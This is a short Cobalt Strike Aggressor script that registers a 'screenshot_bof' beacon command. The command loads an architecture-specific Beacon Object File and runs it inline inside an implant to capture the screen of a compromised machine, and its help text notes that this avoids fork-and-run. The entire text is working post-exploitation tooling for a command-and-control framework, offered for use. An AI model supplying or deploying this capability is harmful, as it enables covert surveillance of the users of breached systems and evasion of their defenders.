#Register command beacon_command_register( "screenshot_bof", "Alternative screenshot capability that does not do fork n run", "Synopsis: screenshot_bof" ); alias screenshot_bof { local('$barch $handle $data $args $target_pid'); if (size(@_) != 2) { berror($1, "Please specify a filename. e.g. screenshot_bof screen.bmp"); return; } # figure out the arch of this session $barch = barch($1); # read in the right BOF file $handle = openf(script_resource("ScreenshotBOF. $+ $barch $+ .obj")); $data = readb($handle, -1); closef($handle); $args = bof_pack($1, "z",$2); # announce what we're doing btask($1, "Running screenshot BOF by (@codex_tf2)"); # execute it. beacon_inline_execute($1, $data, "go", $args); }